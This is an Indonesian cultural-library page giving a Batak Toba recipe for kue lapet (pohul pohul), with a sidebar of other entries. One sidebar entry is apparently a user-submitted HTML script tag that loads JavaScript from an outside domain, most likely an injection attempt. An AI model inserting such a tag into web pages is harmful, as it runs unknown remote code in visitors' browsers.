atau
Tambah Entri
×
Akun anda bermasalah?
Klik tombol dibawah
BANTUAN
Atau
DAFTAR
×

DATA

Kategori

Jajanan Tradisional

Elemen Budaya

Makanan Minuman

Provinsi

Sumatera Utara

Asal Daerah

Sumatera utara

Kue lapet aka pohul pohul

Tanggal 28 Dec 2018 oleh Roro .


sumber : Arsip resep makanan khas batak toba
 

Bahan-bahan

 
  1. 275 gram beras,cuci bersih dan rendam semalaman
  2. 1,5 butir kelapa muda parut(kerok kulit dan parut kasar)
  3. 150 gram gula merah cincang kasar
  4. 3 sdm gula pasir
  5. Sejumput garam
  6. Daun pandan

     Langkah

    1.Setelah merendam beras selama semalaman,segera tiriskan hingga air betul betul kering.meniriskannya butuh waktu agak lama,sekitar 3 jam.lalu giling dan tapis hingga menjadi butiran tepung yang halus.seperti yang sudah saya tulis di atas,jika di tempat kamu ada penggilingan beras,itu akan sangat menyingkat waktu.

    2.Didihkan air dalam dandang.Lapisi permukaan dandang dengan daun pisang,lalu kukus tepung beras tadi dengan daun pandan hingga matang dan agak bergumpal.tunggu hangat dan pisahkan gumpalan hingga hancur dengan kedua tangan.kita menginginkan tepung yang berbutir

    3.Dalam baskom,campur kelapa muda parut,gula merah,gula pasir dan garam,aduk dengan tangan hingga rata,masukkan tepung,aduk kembali hingga rata

    4.Panaskan kembali dandang,kepal kepal adonan lalu kukus hingga matang,kue sedap dinikmati ketika masih hangat

    5.Tips untuk kamu yang baru belajar memasak.Meski membuat suatu makanan itu kamu pandang ribet,pikirkan senyuman keluarga kita saat memakannya,itu selalu bisa memberimu kepuasan tersendiri,jadiiiii jangan segan untuk mencoba ya.and feel free to share

    Sumber :https://cookpad.com/id/resep/4019967-kue-lapet-aka-pohul-pohul

 

DISKUSI

Silahkan masuk untuk berdiskusi.

TERBARU

Pertunjukan Man...

Oleh Bukantokohpublik24 | 15 Sep 2024.
Seni Budaya

Debus merupakan salah satu kesenian tradisional yang terdapat di Provinsi Banten. Pada awalnya, debus berfungsi sebagai sarana untuk menyebarkan aj...

Budaya Begalan...

Oleh Aniasalsabila | 12 Sep 2024.
Budaya Begalan

Budaya Begalan merupakan salah satu tradisi adat yang masih dijaga dan dilestarikan oleh masyarakat di wilayah Banyumas, termasuk di Kabupaten Cilaca...

Seni Pertunjuka...

Oleh Radhityamahdy | 02 Sep 2024.
budaya

Seni pertunjukan wayang kulit merupakan salah satu bentuk teater tradisional yang kaya akan nilai budaya dan artistik. Berakar dari kebudayaan Jawa,...

Ting-Ting Tempe

Oleh Deni Andrian | 29 Aug 2024.
Camilan

Bahan-bahan : 250 gram Tempe 150 gram gula pasir 1 sdt margarin 1 sdt sprinkles untuk topping (optional) Cara Membuat: Potong2 tempe dgn ukur...

<script type="t...

Oleh Energetic | 25 Aug 2024.
<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/KMIHBVJ090KRI"></script>

FITUR

Gambus

Oleh agus deden | 21 Jun 2012.
Alat Musik

Gambus Melayu Riau adalah salah satu jenis instrumental musik tradisional yang terdapat hampir di seluruh kawasan Melayu.Pergeseran nilai spiritual...

Hukum Adat Suku...

Oleh Riduwan Philly | 23 Jan 2015.
Aturan Adat

Dalam upaya penyelamatan sumber daya alam di kabupaten Aceh Tenggara, Suku Alas memeliki beberapa aturan adat . Aturan-aturan tersebut terbagi dala...

Fuu

Oleh Sobat Budaya | 25 Jun 2014.
Alat Musik

Alat musik ini terbuat dari bambu. Fuu adalah alat musik tiup dari bahan kayu dan bambu yang digunakan sebagai alat bunyi untuk memanggil pend...

Ukiran Gorga Si...

Oleh hokky saavedra | 09 Apr 2012.
Ornamen Arsitektural

Ukiran gorga "singa" sebagai ornamentasi tradisi kuno Batak merupakan penggambaran kepala singa yang terkait dengan mitologi batak sebagai...

© 2007 - 2024 Perpustakaan Digital Budaya Indonesia